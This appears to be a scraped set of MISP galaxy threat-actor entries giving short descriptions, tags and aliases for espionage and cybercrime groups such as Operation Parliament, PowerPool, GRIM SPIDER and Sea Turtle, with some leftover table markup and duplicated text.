This threat actor uses spear-phishing techniques to target parliaments, government ministries, academics, and media organizations, primarily in the Middle East, for the purpose of espionage. Based on our findings, we believe the attackers represent a previously unknown geopolitically motivated threat actor. The campaign started in 2017, with the attackers doing just enough to achieve their goals. They most likely have access to additional tools when needed and appear to have access to an elaborate database of contacts in sensitive organizations and personnel worldwide, especially of vulnerable and non-trained staff. The victim systems range from personal desktop or laptop systems to large servers with domain controller roles or similar. The nature of the targeted ministries varied, including those responsible for telecommunications, health, energy, justice, finance and so on. Operation Parliament appears to be another symptom of escalating tensions in the Middle East region. The attackers have taken great care to stay under the radar, imitating another attack group in the region. They have been particularly careful to verify victim devices before proceeding with the infection, safeguarding their command and control servers. The targeting seems to have slowed down since the beginning of 2018, probably winding down when the desired data or access was obtained. The targeting of specific victims is unlike previously seen behavior in regional campaigns by Gaza Cybergang or Desert Falcons and points to an elaborate information-gathering exercise that was carried out before the attacks (physical and/or digital). With deception and false flags increasingly being employed by threat actors, attribution is a hard and complicated task that requires solid evidence, especially in complex regions such as the Middle East.

The tag is: `misp-galaxy:threat-actor="Operation Parliament"

Table 4963. Table References
**Inception Framework**

This threat actor uses spear-phishing techniques to target private-sector energy, defense, aerospace, research, and media organizations and embassies in Africa, Europe, and the Middle East, for the purpose of espionage.

</table>

**HenBox**

This threat actor targets Uighurs—a minority ethnic group located primarily in northwestern China—and devices from Chinese mobile phone manufacturer Xiaomi, for espionage purposes.
**Mustang Panda**

This threat actor targets nongovernmental organizations using Mongolian-themed lures for espionage purposes. In April 2017, CrowdStrike Falcon Intelligence observed a previously unattributed actor group with a Chinese nexus targeting a U.S.-based think tank. Further analysis revealed a wider campaign with unique tactics, techniques, and procedures (TTPs). This adversary targets non-governmental organizations (NGOs) in general, but uses Mongolian language decoys and themes, suggesting this actor has a specific focus on gathering intelligence on Mongolia. These campaigns involve the use of shared malware like Poison Ivy or PlugX. Recently, Falcon Intelligence observed new activity from MUSTANG PANDA, using a unique infection chain to target likely Mongolia-based victims. This newly observed activity uses a series of redirections and fileless, malicious implementations of legitimate tools to gain access to the targeted systems. Additionally, MUSTANG PANDA actors reused previously-observed legitimate domains to host files.

**Thrip**

This threat actor targets organizations in the satellite communications, telecommunications, geospatial-imaging, and defense sectors in the United States and Southeast Asia for espionage purposes.

**Stealth Mango and Tangelo**

This threat actor targets organizations in the satellite communications, telecommunications,
geospatial-imaging, and defense sectors in the United States and Southeast Asia for espionage purposes.

The tag is: misp-galaxy:threat-actor="Stealth Mango and Tangelo"

### PowerPool

Malware developers have started to use the zero-day exploit for Task Scheduler component in Windows, two days after proof-of-concept code for the vulnerability appeared online.

A security researcher who uses the online name SandboxEscaper on August 27 released the source code for exploiting a security bug in the Advanced Local Procedure Call (ALPC) interface used by Windows Task Scheduler.

More specifically, the problem is with the SchRpcSetSecurity API function, which fails to properly check user's permissions, allowing write privileges on files in C:\Windows\Task.

The vulnerability affects Windows versions 7 through 10 and can be used by an attacker to escalate their privileges to all-access SYSTEM account level.

A couple of days after the exploit code became available (source and binary), malware researchers at ESET noticed its use in active malicious campaigns from a threat actor they call PowerPool, because of their tendency to use tools mostly written in PowerShell for lateral movement.

The group appears to have a small number of victims in the following countries: Chile, Germany, India, the Philippines, Poland, Russia, the United Kingdom, the United States, and Ukraine.

The researchers say that PowerPool developers did not use the binary version of the exploit, deciding instead to make some subtle changes to the source code before recompiling it.

The tag is: misp-galaxy:threat-actor="PowerPool"

### Bahamut

Bahamut is a threat actor primarily operating in Middle East and Central Asia, suspected to be a private contractor to several state sponsored actors. They were observed conduct phishing as well as desktop and mobile malware campaigns.

The tag is: misp-galaxy:threat-actor="Bahamut"
Iron Group

Iron group has developed multiple types of malware (backdoors, crypto-miners, and ransomware) for Windows, Linux and Android platforms. They have used their malware to successfully infect, at least, a few thousand victims.

The tag is: *misp-galaxy:threat-actor=*"Iron Group"

Iron Group is also known as:

- Iron Cyber Group

Operation BugDrop

This threat actor targets critical infrastructure entities in the oil and gas sector, primarily in Ukraine. The threat actors deploy the BugDrop malware to remotely access the microphones in their targets' computers to eavesdrop on conversations.

The tag is: *misp-galaxy:threat-actor=*"Operation BugDrop"

Red October

This threat actor targets governments, diplomatic missions, academics, and energy and aerospace organizations for the purpose of espionage. Also known as the Rocra and believed to be the same threat actor as Cloud Atlas

The tag is: *misp-galaxy:threat-actor=*"Red October"

Red October is also known as:

- the Rocra
### Cloud Atlas

This threat actor targets governments and diplomatic organizations for espionage purposes.

The tag is: `misp-galaxy:threat-actor="Cloud Atlas"`

### Unnamed Actor

This threat actor compromises civil society groups the Chinese Communist Party views as hostile to its interests, such as Tibetan, Uyghur, Hong Kong, and Taiwanese activist. The threat actor also targeted the Myanmar electoral commission.

The tag is: `misp-galaxy:threat-actor="Unnamed Actor"`

### COBALT DICKENS

"A threat group associated with the Iranian government. The threat group created lookalike domains to phish targets and used credentials to steal intellectual property from specific resources, including library systems."

The tag is: `misp-galaxy:threat-actor="COBALT DICKENS"`

COBALT DICKENS is also known as:

- Cobalt Dickens
MageCart

Digital threat management company RiskIQ tracks the activity of MageCart group and reported their use of web-based card skimmers since 2016.

The tag is: misp-galaxy:threat-actor="MageCart"

FASTCash

Treasury has identified a sophisticated cyber-enabled ATM cash out campaign we are calling FASTCash. FASTCash has been active since late 2016 targeting banks in Africa and Asia to remotely compromise payment switch application servers within banks to facilitate fraudulent transactions, primarily involving ATMs, to steal cash equivalent to tens of millions of dollars. FBI has attributed malware used in this campaign to the North Korean government. We expect FASTCash to continue targeting retail payment systems vulnerable to remote exploitation.

The tag is: misp-galaxy:threat-actor="FASTCash"
Roaming Mantis

According to new research by Kaspersky’s GReAT team, the online criminal activities of the Roaming Mantis Group have continued to evolve since they were first discovered in April 2018. As part of their activities, this group hacks into exploitable routers and changes their DNS configuration. This allows the attackers to redirect the router user’s traffic to malicious Android apps disguised as Facebook and Chrome or to Apple phishing pages that were used to steal Apple ID credentials. Recently, Kaspersky has discovered that this group is testing a new monetization scheme by redirecting iOS users to pages that contain the Coinhive in-browser mining script rather than the normal Apple phishing page. When users are redirected to these pages, they will be shown a blank page in the browser, but their CPU utilization will jump to 90% or higher.

The tag is: misp-galaxy:threat-actor="Roaming Mantis"

Roaming Mantis is also known as:

- Roaming Mantis Group

GreyEnergy

ESET research reveals a successor to the infamous BlackEnergy APT group targeting critical infrastructure, quite possibly in preparation for damaging attacks.

The tag is: misp-galaxy:threat-actor="GreyEnergy"

GreyEnergy has relationships with:

- similar: misp-galaxy:threat-actor="Sandworm" with estimative-language:likelihood-probability="likely"

The Shadow Brokers

The Shadow Brokers (TSB) is a hacker group who first appeared in the summer of 2016. They published several leaks containing hacking tools from the National Security Agency (NSA, including several zero-day exploits.[1] Specifically, these exploits and vulnerabilities targeted enterprise firewalls, antivirus software, and Microsoft products. The Shadow Brokers originally attributed the leaks to the Equation Group threat actor, who have been tied to the NSA’s Tailored Access
Operations unit.

The tag is: *misp-galaxy:threat-actor=*"The Shadow Brokers"

The Shadow Brokers is also known as:

INDRIK SPIDER

INDRIK SPIDER is a sophisticated eCrime group that has been operating Dridex since June 2014. In 2015 and 2016, Dridex was one of the most prolific eCrime banking trojans on the market and, since 2014, those efforts are thought to have netted INDRIK SPIDER millions of dollars in criminal profits. Throughout its years of operation, Dridex has received multiple updates with new modules developed and new anti-analysis features added to the malware. In August 2017, a new ransomware variant identified as BitPaymer was reported to have ransomed the U.K.’s National Health Service (NHS), with a high ransom demand of 53 BTC (approximately $200,000 USD). The targeting of an organization rather than individuals, and the high ransom demands, made BitPaymer stand out from other contemporary ransomware at the time. Though the encryption and ransom functionality of BitPaymer was not technically sophisticated, the malware contained multiple anti-analysis features that overlapped with Dridex. Later technical analysis of BitPaymer indicated that it had been developed by INDRIK SPIDER, suggesting the group had expanded its criminal operation to include ransomware as a monetization strategy.

The tag is: *misp-galaxy:threat-actor="INDRIK SPIDER"*

DNSpionage

Cisco Talos recently discovered a new campaign targeting Lebanon and the United Arab Emirates (UAE) affecting .gov domains, as well as a private Lebanese airline company. Based on our research, it’s clear that this adversary spent time understanding the victims’ network infrastructure in order to remain under the radar and act as inconspicuous as possible during their attacks. Based on this
actor's infrastructure and TTPs, we haven't been able to connect them with any other campaign or actor that's been observed recently. This particular campaign utilizes two fake, malicious websites containing job postings that are used to compromise targets via malicious Microsoft Office documents with embedded macros. The malware utilized by this actor, which we are calling "DNSpionage," supports HTTP and DNS communication with the attackers. In a separate campaign, the attackers used the same IP to redirect the DNS of legitimate .gov and private company domains. During each DNS compromise, the actor carefully generated Let's Encrypt certificates for the redirected domains. These certificates provide X.509 certificates for TLS free of charge to the user. We don't know at this time if the DNS redirections were successful. In this post, we will break down the attackers' methods and show how they used malicious documents to attempt to trick users into opening malicious websites that are disguised as "help wanted" sites for job seekers. Additionally, we will describe the malicious DNS redirection and the timeline of the events.

Operation Poison Needles

What's noteworthy is that according to the introduction on the compromised website of the polyclinic (http://www.p2f.ru), the institution was established in 1965 and it was founded by the Presidential Administration of Russia. The multidisciplinary outpatient institution mainly serves the civil servants of the highest executive, legislative, judicial authorities of the Russian Federation, as well as famous figures of science and art. Since it is the first detection of this APT attack by 360
Security on a global scale, we code-named it as “Operation Poison Needles”, considering that the target was a medical institution. Currently, the attribution of the attacker is still under investigation. However, the special background of the polyclinic and the sensitiveness of the group it served both indicate the attack is highly targeted. Simultaneously, the attack occurred at a very sensitive timing of the Kerch Strait Incident, so it also aroused the assumption on the political attribution of the attack.

**GC02**

From November 2017 to October 2018, we attributed 14 campaigns to the GC threat actors that used a specific MaaS provider (hereinafter “the Provider”) offered by a known individual (hereinafter “the Provider Operator”).

The tag is: `misp-galaxy:threat-actor="GC02"`

GC02 is also known as:
Operation Sharpshooter

The McAfee Advanced Threat Research team and McAfee Labs Malware Operations Group have discovered a new global campaign targeting nuclear, defense, energy, and financial companies, based on McAfee® Global Threat Intelligence. This campaign, Operation Sharpshooter, leverages an in-memory implant to download and retrieve a second-stage implant—which we call Rising Sun—for further exploitation. According to our analysis, the Rising Sun implant uses source code from the Lazarus Group’s 2015 backdoor Trojan Duuzer in a new framework to infiltrate these key industries. Operation Sharpshooter’s numerous technical links to the Lazarus Group seem too obvious to immediately draw the conclusion that they are responsible for the attacks, and instead indicate a potential for false flags. Our research focuses on how this actor operates, the global impact, and how to detect the attack. We shall leave attribution to the broader security community.

**GRIM SPIDER**

GRIM SPIDER is a sophisticated eCrime group that has been operating the Ryuk ransomware since August 2018, targeting large organizations for a high-ransom return. This methodology, known as “big game hunting,” signals a shift in operations for WIZARD SPIDER, a criminal enterprise of which GRIM SPIDER appears to be a cell. The WIZARD SPIDER threat group, known as the Russia-based operator of the TrickBot banking malware, had focused primarily on wire fraud in the past. Similar to Samas and BitPaymer, Ryuk is specifically used to target enterprise environments. Code comparison between versions of Ryuk and Hermes ransomware indicates that Ryuk was derived from the Hermes source code and has been under steady development since its release. Hermes is commodity ransomware that has been observed for sale on forums and used by multiple threat actors. However, Ryuk is only used by GRIM SPIDER and, unlike Hermes, Ryuk has only been used to target enterprise environments. Since Ryuk's appearance in August, the threat actors operating it have netted over 705.80 BTC across 52 transactions for a total current value of $3,701,893.98 USD. Grim Spider is reportedly associated with Lunar Spider and Wizard Spider.

The tag is: *misp-galaxy:threat-actor="GRIM SPIDER"

</tr>
</thead>
</table>
**WIZARD SPIDER**

Wizard Spider is reportedly associated with Grim Spider and Lunar Spider. The WIZARD SPIDER threat group is the Russia-based operator of the TrickBot banking malware. This group represents a growing criminal enterprise of which GRIM SPIDER appears to be a subset. The LUNAR SPIDER threat group is the Eastern European-based operator and developer of the commodity banking malware called BokBot (aka IcedID), which was first observed in April 2017. The BokBot malware provides LUNAR SPIDER affiliates with a variety of capabilities to enable credential theft and wire fraud, through the use of webinjects and a malware distribution function. GRIM SPIDER is a sophisticated eCrime group that has been operating the Ryuk ransomware since August 2018, targeting large organizations for a high-ransom return. This methodology, known as “big game hunting,” signals a shift in operations for WIZARD SPIDER, a criminal enterprise of which GRIM SPIDER appears to be a cell. The WIZARD SPIDER threat group, known as the Russia-based operator of the TrickBot banking malware, had focused primarily on wire fraud in the past.

</table>

**MUMMY SPIDER**

MUMMY SPIDER is a criminal entity linked to the core development of the malware most commonly known as Emotet or Geodo. First observed in mid-2014, this malware shared code with the Bugat (aka Feodo) banking Trojan. However, MUMMY SPIDER swiftly developed the malware’s capabilities to include an RSA key exchange for command and control (C2) communication and a modular architecture. MUMMY SPIDER does not follow typical criminal behavioral patterns. In particular, MUMMY SPIDER usually conducts attacks for a few months before ceasing operations for a period of between three and 12 months, before returning with a new variant or version. After a 10 month hiatus, MUMMY SPIDER returned Emotet to operation in December 2016 but the latest variant is not deploying a banking Trojan module with web injects, it is currently acting as a ‘loader’ delivering other malware packages. The primary modules perform reconnaissance on victim machines, drop freeware tools for credential collection from web browsers and mail clients and a spam plugin for self-propagation. The malware is also issuing commands to download and execute other malware families such as the banking Trojans Dridex and Qakbot. MUMMY SPIDER advertised Emotet on underground forums until 2015, at which time it became private. Therefore, it is highly likely that Emotet is operate

The tag is: `misp-galaxy:threat-actor="MUMMY SPIDER"`

MUMMY SPIDER is also known as:
STARDUST CHOLLIMA

Open-source reporting has claimed that the Hermes ransomware was developed by the North Korean group STARDUST CHOLLIMA (activities of which have been public reported as part of the “Lazarus Group”), because Hermes was executed on a host during the SWIFT compromise of FEIB in October 2017.

The tag is: _misp-galaxy:threat-actor=“STARDUST CHOLLIMA”_

Cold River

In short, “Cold River” is a sophisticated threat (actor) that utilizes DNS subdomain hijacking, certificate spoofing, and covert tunneled command and control traffic in combination with complex and convincing lure documents and custom implants.

The tag is: _misp-galaxy:threat-actor=“Cold River”_

Cold River is also known as:

- Nahr Elbard
- Nahr el bared
Silence group

a relatively new threat actor that’s been operating since mid-2016 Group-IB has exposed the attacks committed by Silence cybercriminal group. While the gang had previously targeted Russian banks, Group-IB experts also have discovered evidence of the group's activity in more than 25 countries worldwide. Group-IB has published its first detailed report on tactics and tools employed by Silence. Group-IB security analysts' hypothesis is that at least one of the gang members appears to be a former or current employee of a cyber security company. The confirmed damage from Silence activity is estimated at 800 000 USD. Silence is a group of Russian-speaking hackers, based on their commands language, the location of infrastructure they used, and the geography of their targets (Russia, Ukraine, Belarus, Azerbaijan, Poland, and Kazakhstan). Although phishing emails were also sent to bank employees in Central and Western Europe, Africa, and Asia). Furthermore, Silence used Russian words typed on an English keyboard layout for the commands of the employed backdoor. The hackers also used Russian-language web hosting services.

The tag is: misp-galaxy:threat-actor="Silence group"

Silence group is also known as:

- Silence

Siesta

FireEye recently looked deeper into the activity discussed in TrendMicro’s blog and dubbed the “Siesta” campaign. The tools, modus operandi, and infrastructure used in the campaign present two possibilities: either the Chinese cyber-espionage unit APT1 is perpetrating this activity, or another group is using the same tactics and tools as the legacy APT1. The Siesta campaign reinforces the fact that analysts and network defenders should remain on the lookout for known, public indicators and for shared attributes that allow security experts to detect multiple actors with one signature.

The tag is: misp-galaxy:threat-actor="Siesta"

Gallmaker

Symantec researchers have uncovered a previously unknown attack group that is targeting government and military targets, including several overseas embassies of an Eastern European country, and military and defense targets in the Middle East. This group eschews custom malware and uses living off the land (LotL) tactics and publicly available hack tools to carry out activities that bear all the hallmarks of a cyber espionage campaign. The group, which we have given the name Gallmaker, has been operating since at least December 2017, with its most recent activity observed in June 2018.

The tag is: misp-galaxy:threat-actor="Gallmaker"

Boss Spider

Throughout 2018, CrowdStrike Intelligence tracked BOSS SPIDER as it regularly updated Samas
ransomware and received payments to known Bitcoin (BTC) addresses. This consistent pace of activity came to an abrupt halt at the end of November 2018 when the U.S. DoJ released an indictment for Iran-based individuals Faramarz Shahi Savandi and Mohammad Mehdi Shah Mansouri, alleged members of the group.

The tag is: `misp-galaxy:threat-actor="Boss Spider"`

**Pinchy Spider**

First observed in January 2018, GandCrab ransomware quickly began to proliferate and receive regular updates from its developer, PINCHY SPIDER, which over the course of the year established a RaaS operation with a dedicated set of affiliates. CrowdStrike Intelligence has recently observed PINCHY SPIDER affiliates deploying GandCrab ransomware in enterprise environments, using lateral movement techniques and tooling commonly associated with nation-state adversary groups and penetration testing teams. This change in tactics makes PINCHY SPIDER and its affiliates the latest eCrime adversaries to join the growing trend of targeted, low-volume/high-return ransomware deployments known as “big game hunting.” PINCHY SPIDER is the criminal group behind the development of the ransomware most commonly known as GandCrab, which has been active since January 2018. PINCHY SPIDER sells access to use GandCrab ransomware under a partnership program with a limited number of accounts. The program is operated with a 60-40 split in profits (60 percent to the customer), as is common among eCrime actors, but PINCHY SPIDER is also willing to negotiate up to a 70-30 split for “sophisticated” customers.

The tag is: `misp-galaxy:threat-actor="Pinchy Spider"`

**SandCat**

SandCat, on the other hand, is a group that was discovered more recently by Kaspersky. One of the Windows vulnerabilities patched by Microsoft in December had been exploited by both
FruityArmor and SandCat in attacks targeting the Middle East and Africa. SandCat has been using FinFisher/FinSpy spyware and CHAINSHOT, a piece of malware analyzed earlier this year by Palo Alto Networks. The group has also used the CVE-2018-8589 and CVE-2018-8611 Windows vulnerabilities in its attacks, both of which had a zero-day status when Microsoft released fixes.

The tag is: *misp-galaxy:threat-actor=*"SandCat"

---

**Operation Comando**

Operation Comando is a pure cybercrime campaign, possibly with Brazilian origin, with a concrete and persistent focus on the hospitality sector, which proves how a threat actor can be successful in pursuing its objectives while maintaining a cheap budget. The use of DDNS services, publicly available remote access tools, and having a minimum knowledge on software development (in this case VB.NET) has been enough for running a campaign lasting month, and potentially gathering credit card information and other possible data.

The tag is: *misp-galaxy:threat-actor=*"Operation Comando"

---

**APT-C-27**

On March 17, 2019, 360 Threat Intelligence Center captured a target attack sample against the Middle East by exploiting WinRAR vulnerability (CVE-2018-20250[6]), and it seems that the attack is carried out by the Goldmouse APT group (APT-C-27). There is a decoy Word document inside the archive regarding terrorist attacks to lure the victim into decompressing. When the archive gets decompressed on the vulnerable computer, the embedded njRAT backdoor (Telegram Desktop.exe) will be extracted to the startup folder and then triggered into execution if the victim restarts the computer or performs re-login. After that, the attacker is capable to control the compromised device.

The tag is: *misp-galaxy:threat-actor=*"APT-C-27"

APT-C-27 is also known as:

- GoldMouse

---
Operation ShadowHammer

Newly discovered supply chain attack that leveraged ASUS Live Update software. The goal of the attack was to surgically target an unknown pool of users, which were identified by their network adapters’ MAC addresses. To achieve this, the attackers had hardcoded a list of MAC addresses in the trojanized samples and this list was used to identify the actual intended targets of this massive operation. We were able to extract more than 600 unique MAC addresses from over 200 samples used in this attack. Of course, there might be other samples out there with different MAC addresses in their list.

The tag is: `misp-galaxy:threat-actor="Operation ShadowHammer"`

Sea Turtle

This blog post discusses the technical details of a state-sponsored attack manipulating DNS systems. While this incident is limited to targeting primarily national security organizations in the Middle East and North Africa, and we do not want to overstate the consequences of this specific campaign, we are concerned that the success of this operation will lead to actors more broadly attacking the global DNS system. DNS is a foundational technology supporting the Internet. Manipulating that system has the potential to undermine the trust users have on the internet. That trust and the stability of the DNS system as a whole drives the global economy. Responsible nations should avoid targeting this system, work together to establish an accepted global norm that this system and the
organizations that control it are off-limits, and cooperate in pursuing those actors who act irresponsibly by targeting this system.

**APT31**

FireEye characterizes APT31 as an actor specialized on intellectual property theft, focusing on data and projects that make a particular organization competitive in its field. Based on available data (April 2016), FireEye assesses that APT31 conducts network operations at the behest of the Chinese Government.
The tag is: misp-galaxy:threat-actor="APT31"

APT31 is also known as:

- APT 31
- ZIRCONIUM

Blackgear

BLACKGEAR is an espionage campaign which has targeted users in Taiwan for many years. Multiple papers and talks have been released covering this campaign, which used the ELIRKS backdoor when it was first discovered in 2012. It is known for using blogs and microblogging services to hide the location of its actual command-and-control (C&C) servers. This allows an attacker to change the C&C server used quickly by changing the information in these posts. Like most campaigns, BLACKGEAR has evolved over time. Our research indicates that it has started targeting Japanese users. Two things led us to this conclusion: first, the fake documents that are used as part of its infection routines are now in Japanese. Secondly, it is now using blogging sites and microblogging services based in Japan for its C&C activity.

The tag is: misp-galaxy:threat-actor="Blackgear"

Blackgear is also known as:

- Topgear
- Comnie
- BLACKGEAR

**BlackTech**

BlackTech is a cyber espionage group operating against targets in East Asia, particularly Taiwan, and occasionally, Japan and Hong Kong. Based on the mutexes and domain names of some of their C&C servers, BlackTech’s campaigns are likely designed to steal their target’s technology. Following their activities and evolving tactics and techniques helped us uncover the proverbial red string of fate that connected three seemingly disparate campaigns: PLEAD, Shrouded Crossbow, and of late, Waterbear. PLEAD is an information theft campaign with a penchant for confidential documents. Active since 2012, it has so far targeted Taiwanese government agencies and private organizations.

PLEAD uses spear-phishing emails to deliver and install their backdoor, either as an attachment or through links to cloud storage services. Some of the cloud storage accounts used to deliver PLEAD are also used as drop off points for exfiltrated documents stolen by DRIGO. PLEAD actors use a router scanner tool to scan for vulnerable routers, after which the attackers will enable the router’s VPN feature then register a machine as virtual server. This virtual server will be used either as a C&C server or an HTTP server that delivers PLEAD malware to their targets.

FIN10

FireEye has observed multiple targeted intrusions occurring in North America — predominately in Canada — dating back to at least 2013 and continuing through at least 2016, in which the attacker(s) have compromised organizations’ networks and sought to monetize this illicit access by exfiltrating sensitive data and extorting victim organizations. In some cases, when the extortion demand was not met, the attacker(s) destroyed production Windows systems by deleting critical operating system files and then shutting down the impacted systems. Based on near parallel TTPs used by the attacker(s) across these targeted intrusions, we believe these clusters of activity are linked to a single, previously unobserved actor or group that we have dubbed FIN10.

GhostNet

Cyber espionage is an issue whose time has come. In this second report from the Information Warfare Monitor, we lay out the findings of a 10-month investigation of alleged Chinese cyber spying against Tibetan institutions. The investigation, consisting of fieldwork, technical scouting, and laboratory analysis, discovered a lot more. The investigation ultimately uncovered a network of over 1,295 infected hosts in 103 countries. Up to 30% of the infected hosts are considered high-value targets and include computers located at ministries of foreign affairs, embassies, international organizations, news media, and NGOs. The Tibetan computer systems we manually investigated, and from which our investigations began, were conclusively compromised by multiple infections that gave attackers unprecedented access to potentially sensitive information. Attacks on the Dalai Lama’s Private Office The OHHDL started to suspect it was under surveillance while setting up meetings between His Holiness and foreign dignitaries. They sent an email invitation on behalf of His Holiness to a foreign diplomat, but before they could follow it up with a
courtesy telephone call, the diplomat's office was contacted by the Chinese government and
warned not to go ahead with the meeting. The Tibetans wondered whether a computer compromise
might be the explanation; they called ONI Asia who called us. (Until May 2008, the first author was
employed on a studentship funded by the OpenNet Initiative and the second author was a principal
investigator for ONI.)

**GozNym**

IBM X-Force Research uncovered a Trojan hybrid spawned from the Nymaim and Gozi ISFB
malware. It appears that the operators of Nymaim have recompiled its source code with part of the
Gozi ISFB source code, creating a combination that is being actively used in attacks against more
than 24 U.S. and Canadian banks, stealing millions of dollars so far. X-Force named this new hybrid
GozNym. The new GozNym hybrid takes the best of both the Nymaim and Gozi ISFB malware to
create a powerful Trojan. From the Nymaim malware, it leverages the dropper's stealth and
Persistence; the Gozi ISFB parts add the banking Trojan's capabilities to facilitate fraud via infected
Internet browsers. The end result is a new banking Trojan in the wild.

**Group5**

A threat actor using Iranian-language tools, Iranian hosting companies, operating from the Iranian
IP space at times was observed targeting the Syrian opposition in an elaborately staged malware
operation, Citizen Lab researchers reveal. The operation was first noticed in late 2015, when a
member of the Syrian opposition flagged a suspicious email containing a PowerPoint slideshow,
which led researchers to a watering hole website with malicious programs, malicious PowerPoint files, and Android malware. The threat actor was targeting Windows and Android devices of well-connected individuals in the Syrian opposition, researchers discovered. They called the actor Group5, because it targets Syrian opposition after regime-linked malware groups, the Syrian Electronic Army, ISIS (also known as the Islamic State or ISIL), and a group linked to Lebanon did the same in the past.

The tag is: misp-galaxy:threat-actor="Group5"

### Honeybee

McAfee Advanced Threat Research analysts have discovered a new operation targeting humanitarian aid organizations and using North Korean political topics as bait to lure victims into opening malicious Microsoft Word documents. Our analysts have named this Operation Honeybee, based on the names of the malicious documents used in the attacks. Advanced Threat Research analysts have also discovered malicious documents authored by the same actor that indicate a tactical shift. These documents do not contain the typical lures by this actor, instead using Word compatibility messages to entice victims into opening them. The Advanced Threat Research team also observed a heavy concentration of the implant in Vietnam from January 15–17.

The tag is: misp-galaxy:threat-actor="Honeybee"

### Lucky Cat

A series of attacks, targeting both Indian military research and south Asian shipping organizations, demonstrate the minimum level of effort required to successfully compromise a target and steal sensitive information. The attackers use very simple malware, which required little development time or skills, in conjunction with freely available Web hosting, to implement a highly effective attack. It is a case of the attackers obtaining a maximum return on their investment. The attack shows how an intelligent attacker does not need to be particularly technically skilled in order to steal the information they are after. The attack begins, as is often the case, with an email sent to the victim. A malicious document is attached to the email, which, when loaded, activates the malware. The attackers use tailored emails to encourage the victim to open the email. For example, one email sent to an academic claimed to be a call for papers for a conference (CFP). The vast majority of the victims were based in India, with some in Malaysia. The victim industry was mostly military.
research and also shipping based in the Arabian and South China seas. In some instances the attackers appeared to have a clear goal, whereby specific files were retrieved from certain compromised computers. In other cases, the attackers used more of a ‘shotgun’ like approach, copying every file from a computer. Military technologies were obviously the focus of one particular attack with what appeared to be source code stolen. 45 different attacker IP addresses were observed. Out of those, 43 were within the same IP address range based in Sichuan province, China. The remaining two were based in South Korea. The pattern of attacker connections implies that the IP addresses are being used as a VPN, probably in an attempt to render the attackers anonymous. The attacks have been active from at least April 2011 up to February 2012. The attackers are intelligent and focused, employing the minimum amount of work necessary for the maximum gain. They do not use zero day exploits or complicated threats, instead they rely on effective social engineering and lax security measures on the part of the victims.

RTM

There are several groups actively and profitably targeting businesses in Russia. A trend that we have seen unfold before our eyes lately is these cybercriminals’ use of simple backdoors to gain a foothold in their targets’ networks. Once they have this access, a lot of the work is done manually, slowly getting to understand the network layout and deploying custom tools the criminals can use to steal funds from these entities. Some of the groups that best exemplify these trends are Buhtrap, Cobalt and Corkow. The group discussed in this white paper is part of this new trend. We call this new group RTM; it uses custom malware, written in Delphi, that we cover in detail in later sections. The first trace of this tool in our telemetry data dates back to late 2015. The group also makes use of several different modules that they deploy where appropriate to their targets. They are interested in users of remote banking systems (RBS), mainly in Russia and neighboring countries.

Shadow Network

Shadows in the Cloud documents a complex ecosystem of cyber espionage that systematically
compromised government, business, academic, and other computer network systems in India, the Offices of the Dalai Lama, the United Nations, and several other countries. The report also contains an analysis of data which were stolen from politically sensitive targets and recovered during the course of the investigation. These include documents from the Offices of the Dalai Lama and agencies of the Indian national security establishment. Data containing sensitive information on citizens of numerous third-party countries, as well as personal, financial, and business information, were also exfiltrated and recovered during the course of the investigation. The report analyzes the malware ecosystem employed by the Shadows’ attackers, which leveraged multiple redundant cloud computing systems, social networking platforms, and free web hosting services in order to maintain persistent control while operating core servers located in the People’s Republic of China (PRC). Although the identity and motivation of the attackers remain unknown, the report is able to determine the location (Chengdu, PRC) as well as some of the associations of the attackers through circumstantial evidence. The investigation is the product of an eight month, collaborative activity between the Information Warfare Monitor (Citizen Lab and SecDev) and the Shadowserver Foundation. The investigation employed a fusion methodology, combining technical interrogation techniques, data analysis, and field research, to track and uncover the Shadow cyber espionage network.

**Slingshot**

While analysing an incident which involved a suspected keylogger, we identified a malicious library able to interact with a virtual file system, which is usually the sign of an advanced APT actor. This turned out to be a malicious loader internally named ‘Slingshot’, part of a new, and highly sophisticated attack platform that rivals Project Sauron and Regin in complexity. While for most victims the infection vector for Slingshot remains unknown, we were able to find several cases where the attackers got access to MikroTik routers and placed a component downloaded by Winbox Loader, a management suite for MikroTik routers. In turn, this infected the administrator of the router. We believe this cluster of activity started in at least 2012 and was still active at the time of this analysis (February 2018).

**Taidoor**

The Taidoor attackers have been actively engaging in targeted attacks since at least March 4, 2009. Despite some exceptions, the Taidoor campaign often used Taiwanese IP addresses as C&C servers
and email addresses to send out socially engineered emails with malware as attachments. One of the primary targets of the Taidoor campaign appeared to be the Taiwanese government. The attackers spoofed Taiwanese government email addresses to send out socially engineered emails in the Chinese language that typically leveraged Taiwan-themed issues. The attackers actively sent out malicious documents and maintained several IP addresses for command and control. As part of their social engineering ploy, the Taidoor attackers attach a decoy document to their emails that, when opened, displays the contents of a legitimate document but executes a malicious payload in the background. We were only able to gather a limited amount of information regarding the Taidoor attackers’ activities after they have compromised a target. We did, however, find that the Taidoor malware allowed attackers to operate an interactive shell on compromised computers and to upload and download files. In order to determine the operational capabilities of the attackers behind the Taidoor campaign, we monitored a compromised honeypot. The attackers issued out some basic commands in an attempt to map out the extent of the network compromise but quickly realized that the honeypot was not an intended targeted and so promptly disabled the Taidoor malware running on it. This indicated that while Taidoor malware were more widely distributed compared with those tied to other targeted campaigns, the attackers could quickly assess their targets and distinguish these from inadvertently compromised computers and honeypots.

[Unnamed group]

Over the last few weeks, several significant leaks regarding a number of Iranian APTs took place. After analyzing and investigating the documents we conclude that they are authentic. Consequently, this causes considerable harm to the groups and their operation. The identity of the actor behind the leak is currently unknown, however based on the scope and the quality of the exposed documents and information, it appears that they are professional and highly capable. This leak will likely hamstring the groups' operation in the near future. Accordingly, in our assessment this will minimize the risk of potential attacks in the next few months and possibly even year. Note -most of the leaks are posted on Telegram channels that were created specifically for this purpose. Below are the three main Telegram groups on which the leaks were posted: Lab Dookhtegam pseudonym (“The people whose lips are stitched and sealed” –translation from Persian) –In this channel attack tools attributed to the group 'OilRig' were leaked; including a webshell that was inserted into the Technion, various tools that were used for DNS attacks, and more. Green Leakers–In this channel attack tools attributed to the group 'MuddyWatter' were leaked. The group's name and its symbol are identified with the "green movement", which led the protests in Iran after the Presidential elections in 2009. These protests were heavily repressed by the revolutionary guards (IRGC) Black Box–Unlike the previous two channels this has been around for a long time. On Friday May 5th, dozens of confidential documents labeled as "secret" (a high confidentiality level in Iran, one before the highest -top secret) were posted on this channel. The documents were related to Iranian attack groups' activity.

**Dungeon Spider**

